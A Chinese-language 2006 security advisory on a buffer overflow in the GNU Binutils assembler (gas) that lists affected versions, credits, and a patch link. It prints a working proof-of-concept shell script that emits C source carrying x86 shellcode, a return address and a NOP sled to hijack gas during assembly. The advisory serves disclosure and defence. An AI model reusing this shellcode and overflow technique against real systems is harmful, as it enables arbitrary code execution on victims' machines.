GNU BinUtils GAS缓冲区溢出漏洞
发布日期:2006-08-17
更新日期:2006-08-18
受影响系统:Ubuntu Linux 5.10 powerpc
Ubuntu Linux 5.10 i386
Ubuntu Linux 5.10 amd64
Ubuntu Linux 5.0 4 powerpc
Ubuntu Linux 5.0 4 i386
Ubuntu Linux 5.0 4 amd64
GNU Binutils 2.16.1
GNU Binutils 2.15
GNU Binutils 2.14
GNU Binutils 2.12
GNU Binutils 2.11
描述:
BUGTRAQ ID:
19555
GNU BinUtils是个二进制工具集,用于执行基本二进制文件操作。
GNU BinUtils的gas(GNU汇编器)中存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限s。
如果用户或自动系统受骗使用gcc或gas汇编了特制的源文件的话,就可能导致以执行用户权限执行任意指令。
<*来源:Tavis Ormandy (
taviso@gentoo.org)
Martin Pitt (
martin.pitt@canonical.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=115583278731355&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
#
# gas overflow poc, <
taviso@gentoo.org>
returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'
printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"
cat << __EOF__
#include <stdio.h>
int main (int argc, char **argv)
{
__asm__ (PAD RET NOP EGG);
}
__EOF__
建议:
厂商补丁:
GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bugs.gentoo.org/attachment.cgi?id=63736浏览次数:3202
严重程度:0(网友投票)